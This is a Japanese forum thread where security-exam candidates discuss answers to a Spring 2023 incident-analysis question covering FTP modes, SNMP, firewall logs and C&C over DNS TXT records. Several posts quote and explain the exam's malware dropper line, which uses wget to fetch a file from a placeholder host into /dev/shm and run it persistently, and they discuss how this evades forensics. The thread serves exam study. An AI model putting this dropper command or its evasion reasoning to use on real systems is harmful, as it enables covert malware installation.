令和5年春期試験 午後Ⅰ試験【問2】

管理人  
(No.1)
令和5年春期試験 午後Ⅰ試験【問2】についての投稿を受け付けるスレッドです。
2023.04.16 00:04
いてcさん 
(No.2)
パッシブとアクティブの違いを忘れた勿体無い
2023.04.16 14:10
kato0827さん 
(No.3)
たぶん正解はパッシブだと思います
2023.04.16 16:57
semi0808さん 
(No.4)
みなさん設問2(2)はどう記載しましたか?
2023.04.16 18:06
みなおさん 
(No.5)
設問2-(2)はバインドにしました。
理由は項番1-3,2-3,3-3よりFWで接続が拒否されているため

みたいな感じで書きました。
2023.04.16 18:28
ひろさん 
(No.6)
そうか、各表だから項番は3つあげないとですね…ミスったー
2023.04.16 18:46
ラフさん 
(No.7)
設問2-(1)SNMPリクエスト?
  SNMPエージェントからSNMPサーバへはSNMPトラップなので違うと判断した。
  調べるとSNMPポーリングっぽいですね。。

設問2-(2)バインド
理由は項番1-3,項番2-3,項番3-3より通信失敗履歴があるため

設問2-(3)コネクト
理由は項番1-4,項番2-4,項番3-4より通信成功履歴があるため

設問2-(4)1365
2023.04.16 19:07
みなおさん 
(No.8)
設問2-(1)はSNMPコミュニティ(名)にしましたが違うんですかね...
2023.04.16 19:20
やきとりさん 
(No.9)
<設問1>ステルス(わからず適当)
<設問2>
(1)ドメイン(わからず適当)
(2)バインド
2-3,3-3よりプロセス起動には成功したが、1-3よりFWで通信拒否しているから
(3)コネクト
2-4,3-2よりプロセス起動には成功し、1-4よりFWで通信を許可しているから
(4)1365
<設問3>
(1)TXTレコードの値は外部から取得可能だから
(2)実際のlogdのファイル内容と異なる可能性があるため
(3)受付サーバ

6割行きたいンゴね。。
2023.04.16 20:04
pixさん 
SC ダイヤモンドマイスター
(No.10)
穴埋め検討してみました。多分このような感じになると思われます。
設問1 a:パッシブ
設問2
(1) b:SNMPコミュニティ
(2) c:バインド
(3) d:コネクト
(4) e:1365
2023.04.16 20:25
YabeJapanさん 
(No.11)
設問1
アクティブとパッシブを間違えてしまいました(もったいない)。

設問2-(1)
コミュニティ
(コミュニティーと迷った…)

設問2-(2)
バインド
項番1-3、2-3、3-3より、通信がFWで拒否されているため
2023.04.16 20:27
semi0808さん 
(No.12)
設問3の(2)、(3)はどうされましたか?
私は

(2)攻撃者によってURLにあるlogdファイルが変更されている可能性

(3)受付サーバ?

いかがでしょうか?
2023.04.16 20:41
ぽにぃさん 
(No.13)
semi0808さん
同じです。
(1)が全く分かりませんでした…
2023.04.16 20:49
たまおさん 
(No.14)
設問3
(1)DNSのTXTレコードは任意の文字列を設定できるから
(2)同一のものとハッシュ値で比較できないから
(3)受付サーバ
2023.04.16 21:09
あさきゆめみしさん 
(No.15)
設問3  (3)
見直したら、ファイルサーバのような気がしてきた。

ファイルだからここにあってもおかしくない気がする。
2023.04.16 21:44
Flagさん 
(No.16)
設問3
(1)Aレコードとは異なりTXTレコードは任意の形式のテキストを記述できるから
(2)被害を受けたサーバにあるファイルとの同一性を保証できないから
(3)受付サーバ

どうなんでしょう……
2023.04.16 21:44
SC受験生さん 
(No.17)
3-(3)って受付サーバの人が多いですが、fの文脈から受付サーバからのlogd取得では適切ではないと読み取れます。
また、本文冒頭に受付サーバでは受注情報をDBサーバにアプリで連携した後、DBサーバーにおいてファイル化され、さらに製造管理サーバに送信されると記載があります。

以上より、私は製造管理サーバと解答したのですが、皆さんの見解が聞きたいです。
2023.04.16 22:58
初受験さん 
(No.18)
logdファイルはいつの間にか受付サーバにダウンロードされていたプログラムなので受注情報としては処理されないのではないでしょうか?
2023.04.17 00:09
ホーレン草さん 
(No.19)
みなさま、本日は本当におつかれさまでした。
難しかった・・・ですよね。血眼で回答しました。

設問3(3)、自信満々に「ログ管理サーバ」って書いたんですが、
同じ回答の人がいない・・・。
2023.04.17 01:06
名無しさん 
(No.20)
設問3(3)、わたしもログ管理サーバと書いてしまいました…
2023.04.17 05:33
pixさん 
SC ダイヤモンドマイスター
(No.21)
私なりに設問検討してみました。あっているかは微妙なので参考程度にお願いします。
ちょっと難問かもしれないです。あと、トンチがはいっています。

設問3
(2) Webブラウザでは別の内容のlogdをダウンロードする可能性があるから
(3) C&Cサーバ

「Webブラウザでダウンロードすると」とあります。
これはC&Cサーバ側でUser-Agentを判別し、Webブラウザでのダウンロードの時は
偽のlogdをダウンロードさせる挙動がある可能性を考慮しました。
なぜかというと、通常の検索エンジンのクローリングなのが来た時に
ダミーのファイルをダウンロードさせるように偽装して、このサーバが
C&Cサーバであることを隠しているという可能性を考えました。

また、空欄fは、「[ f ]から取得して、」と"取得"という言葉に置き換えています。
この"取得"は"wget"を指していると判断しました。
wgetを利用する場合、User-Agentを判断し、TXTレコードからの攻撃指示による
cronの動作と判断し、暗号採掘用のlogdがダウンロードさせるものと考えました。

IPA的に(3)の解答が「受付サーバ」というのはひねりがないと思いました。
なので、ここは「C&Cサーバ」になると考えました。
2023.04.17 06:43
ダブルスヌーズさん 
(No.22)
ログ管理サーバが表1のFWログからFTP通信を受領していることがわかったので、ログ管理サーバにさはました。
しかし冒頭記載(受注情報をDBサーバにアプリで連携した後、DBサーバーにおいてファイル化され、さらに製造管理サーバに送信されると記載)を読み飛ばしていたので、これが正常なログの記録なら誤答だと思いました。
2023.04.17 06:48
受からないかなさん 
(No.23)
全体的に適当なのですが、私の解答はこんな感じです。どうでしょうか… 

<設問1>コネクト(わからずちょー適当)
<設問2>
(1)アカウント(わからずちょー適当)
(2)コネクト
1-3、2-3,3-3よりプロセスはあるが通信拒否されているから
(3)コネクト
1-4、2-4,3-4よりプロセスがあり通信が確立されているから
(4)1365
<設問3>
(1)TXTレコード記載されている内容をコマンドに使えるから
(2)C&Cサーバによりファイルが変更されている可能性があるから
(3)受付サーバ

設問3(3)の解答が「受付サーバ」というのは私もひねりがないと思い
他のサーバも検討しましたが、最終的には受付サーバにしてしまいました。
2023.04.17 11:39
まぐさん 
(No.24)
私も最後のサーバ名は攻撃者によりファイルが変更される可能性を捨てきれず受付サーバにしました。工場LANへの侵害はないと書いてあったから製造サーバは違うし…。
でも確かにひねりはないですよね。

たまにある思わせぶりだけど基本に戻らせるタイプの意地悪問題だと信じたい。
2023.04.17 12:20
skさん 
(No.25)
問題文にある「Mさんは、logdのファイルについてハッシュ値を調べたが、情報がみつからなかったので」の意味がよくわかりませんでした。情報が見つからないというのはどういうことでしょうか。どなたかわかるかたいれば教えていただきたく。
2023.04.17 12:28
pixさん 
SC ダイヤモンドマイスター
(No.26)
「ポリモーフィック型マルウェア」と想定されます。
ダウンロードする度に一部情報が変更され、ダウンロードしたファイル毎に
ハッシュ値が異なるように細工されているものと思われます。

これにより、ハッシュ値によるマルウェア検索を逃れる意図があると
想定されます。
2023.04.17 12:34
よくわからない点さん 
(No.27)
設問1のaは「パッシブ」モードなら制御用21番ポートの他にデータ転送用20番ポートもFWに記録されると思うのですが、なぜ21番だけなんでしょうか?制御系だけを狙った攻撃ツールだったんでしょうか?

どなたかお分かりになる方がいらっしゃいましたらご回答お願い致します。
2023.04.17 15:21
アンスさん 
(No.28)
アクティブモードとごっちゃになっていませんかね
2023.04.17 15:53
よくわからない点さん 
(No.29)
アンス様

ありがとうございました。アクティブと間違えてました。
2023.04.17 16:07
初受験さん 
(No.30)
レコードの内容はAPのときは覚えたんですが今回は完全に忘れてて、文脈を見て
「Aレコードは参照だけだがTXTレコードは任意の値を実行できるから」みたいに書いたんですが
0点ですかね?
2023.04.17 21:35
pixさん 
SC ダイヤモンドマイスター
(No.31)
TXTレコードは任意の値を「実行できるから」ではなく、「設定できるから」が
文脈的に適切と思われます。
cronにコマンドを設定するのが目的で、実行するのはcronだからです。
2023.04.17 21:40
dさん 
(No.32)
[設問3] (1) TXT レコードには任意の文字列データを登録できるから。
問題文に「DNSプロトコルの仕様を踏まえて」とあったので、違うと思ったのですが、DNSプロトコルの仕様て引っ掛けなんですか?
2023.04.18 19:26
pixさん 
SC ダイヤモンドマイスター
(No.33)
DNS関連のRFC1035「ドメイン名:実装と仕様」にTXTレコードが定義されています。
このRFCに定義されているので、「DNSプロトコル」といっても差しつかえないと
思われます。
2023.04.18 19:36
minoru036さん 
(No.34)
コマンドの意味がわからなかったのでChatgptに聞きました。
質問:このコマンドの意味を教えてください。
wget プロトコル//a0.b0.c0.d0/logd -q -0 /dev/shm/logd && chmod +x /dev/shm/logd && nohup /dev/shm/logd &disown

回答:このコマンドは、wgetコマンドを使用して、指定されたURLのファイルをダウンロードし、そのファイルを/dev/shm/logdに保存します。次に、chmodコマンドを使用して、/dev/shm/logdファイルに実行権限を与えます。最後に、nohupコマンドを使用して、/dev/shm/logdファイルをバックグラウンドで実行し、ターミナルを閉じてもプロセスが継続するようにします。"&disown"は、nohupコマンドが生成するジョブIDを親シェルから切り離すためのものです。

ただし、このコマンドが何をするかについては明確ではありません。ダウンロードされるファイルが何であるか、/dev/shm/logdファイルが何をするか、どのような環境で実行されるかなどの詳細が必要です。また、このコマンドがシステムに影響を与える可能性があるため、注意して実行する必要があります。
2023.04.19 05:43
pixさん 
SC ダイヤモンドマイスター
(No.35)
>wget プロトコル//a0.b0.c0.d0/logd -q -0 /dev/shm/logd && 
>chmod +x /dev/shm/logd && nohup /dev/shm/logd &disown
概要は以下のようになります。

1.「wget プロトコル//a0.b0.c0.d0/logd -q -0 /dev/shm/logd」
"プロトコル//a0.b0.c0.d0/"から"logd"ファイルをダウンロードし、
"/dev/shm/logd"として格納する。("-q"は余計な出力を抑制するオプションです。)

2.「chmod +x /dev/shm/logd」
"/dev/shm/logd"ファイルに実行権限を付与する。

3.「nohup /dev/shm/logd &」
バックグラウンドで"/dev/shm/logd"を実行する。
"nohup"がついているので、このコマンドを起動した親プロセスが終了しても
動作を停止しない。

4.「disown」
ジョブテーブル(コマンドを起動したcronの)からカレントジョブ
(この場合は直前に実行した"nohup /dev/shm/logd &")を消す。

コマンド間の"&&"は前のコマンドが成功した場合、このコマンドを
実行するという意味です。


私もこのコマンドを見たときにかなり驚きました。想定していない
コマンドの組み合わせが現れたためです。
私はLinux系がメインですが、それでも2点曖昧なところがあります。
以下の説明があっているかわかる方はいらっしゃいますか?
■wgetのファイル出力先について
ファイル出力先が「/dev/shm」(RAMディスク)になっている。
通常では「/tmp」等に作成すると思っていました。
理由を検討したところ、データフォレンジックでディスクをダンプされても
RAMディスクのファイルはダンプ対象外のため、痕跡を残さないように
するためと考えました。

■disownコマンド
直前でnohupコマンドしているため、disownコマンドは無意味に感じました。
しかしこれも上と同様でデータフォレンジックでメモリをダンプしても
親プロセス(cron)のジョブテーブルから削除されるため、痕跡を残さないように
するためと考えました。
(プロセステーブルには残りますが、それでも痕跡は少なくなるため
  意味はあると思いました。)
2023.04.19 06:18
GinSanaさん 
SC ブロンズマイスター
(No.36)
おそらく、
ファイルレスマルウェアによるRead-Only コンテナへの侵害
清水 孝郎 - MAY 5, 2022
sysdig.jp/blog/containers-read-only-fileless-malware/

/dev/shmの出番だ!
の項っぽいことがしたいんでしょうかね。
ふだん、RAMディスク代わりに使う行儀の悪いやつくらいしかここを使いたがるやつってそんなおらんのでは。

chmodで権限くれるのはいいんだけど、ふつう/dev/shmってnosuid と noexec マウントオプションでマウントされているから、chmodのx権限ってきくのかな?とは思った。
2023.04.19 07:50
GinSanaさん 
SC ブロンズマイスター
(No.37)
disownはふつうはnohupをやり忘れたときの話でしか出てこんでしょうから、たしかに一見すると用途が分かりにくいですね。あとはSIGHUPシグナルの隠蔽工作くらいしかないな・・・。
2023.04.19 08:04
pixさん 
SC ダイヤモンドマイスター
(No.38)
>GinSanaさん
貴重な情報ありがとうございます。
/dev/shmはVMのOSディスクがRead-Onlyファイルシステムでも確実に
ファイルを書き込める先と指定したでいいように思われます。

/dev/shmですが、CentOS、Ubuntu両方確認してみましたが、
nosuidは設定されていましたが、noexecは設定されていませんでした。

SCの試験では時たま意表をつくコマンドを使用することがあるので
Linuxに慣れていたとしても、油断はできないです。
2023.04.19 08:28
橙色文書さん 
(No.39)
受験していませんが、最も難問だったのはSNMPコミュニティ名でしょう。
単一ネットワークの稼働監視を複数でやるのはレアケースでしょうから、SNMP扱った人でもデフォルトのままで意識しないはずです。

FTPのパッシブモードは思い出すのに時間がかかりましたが、潜水艦のソナーの種類と同じだったのでなんとか出てきました。
思い出すまでステルスしか出なかったため、解答数ではステルスが優勢かと思います。

得点に無関係ですが&&は初見かもしれません。&は良く使うのですが。
2023.04.19 21:11
pixさん 
SC ダイヤモンドマイスター
(No.40)
"&&"は以下の基本形を省略していった形になります。
複数のコマンドが1行で書けるので、if文が冗長に感じるときや、
設問のようにcronに1行で記述する際に多用します。

・基本形
commandA
if [ $? -eq 0 ]; then
  commandB
fi

・省略系1
commandA
[ $? -eq 0 ] && commandB

・省略系2
commandA && commandB

※前のコマンドが失敗したときに後ろのコマンドを実行するには
comandaA || commandB


シェルスクリプトで、以下はまぎらわしいので注意です。
& バックグラウンド実行
| パイプ
&& AND演算子(終了ステータスを検査)
|| OR演算子(終了ステータスを検査)
2023.04.19 21:32
大昔の人さん 
(No.41)
橙色文書様へ

難問でしたよね。と、いうかかなり大昔からある手法。
20年くらい前に流行ったSNMPのコミュニティをpublicにしたままの場合情報が筒抜けになる
「プロキシIP抜き」だったんじやないか?と後から気づきました。

もう大昔すぎてすっかり忘れてました。
そもそもこの問題を作成なさった方は一体お幾つなのか?
高齢受験者へのサービスだったのか?
若い方は絶対知りませんよね。。。。
2023.04.21 19:11
GinSanaさん 
SC ブロンズマイスター
(No.42)
ふだんシェルスクリプトかくときに
test $RetCode -ne 0 && echo error && exit 99
とかやるんで&&と||はもうズッ友レベルですね  むしろifをブラケットでかかないな
2023.04.23 14:31
pixさん 
SC ダイヤモンドマイスター
(No.43)
"test"コマンドと"["コマンドは元は同じソースから生成されている、動作は
全く同じコマンドです。
"test"コマンドが本来のコマンドで、"["コマンドは糖衣構文(シンタックスシュガー)
です。

testコマンドを作ったときに、「if test」よりも「if [ ]」のほうが
ほかの言語のif文に似た書式になり、分かりやすいという理由で導入されています。

"test"コマンドと"["コマンドの唯一の違いは、"["コマンドを使用した場合は、
引数の最後が"]"がで終わっている必要があり、終わっていない場合はエラーに
なります。

見方を変えれば、"["はコマンド名ですが、"]"は必須引数で、実はコマンドでは
ないというカラクリがあります。
2023.04.23 18:56
GinSanaさん 
SC ブロンズマイスター
(No.44)
そうか、[がtestのエイリアスなのは知ってましたけど、]は引数扱いだったんですね。それは意識しなかったですね。
2023.04.23 19:50
橙色文書さん 
(No.45)
logdを取得すべきは受付サーバでしょう。実際にマルウェアとして動作していましたから。
Webブラウザでダウンロードしたlogdが不適切な理由については、技術的に間違っておらずユーザ企業の情シス管理職が言いそうなものであれば正解でしょう。
2023.04.30 20:49

返信投稿用フォーム

スパム防止のためにスレッド作成日から30日経過したスレッドへの書込みはできません。

その他のスレッド


Pagetop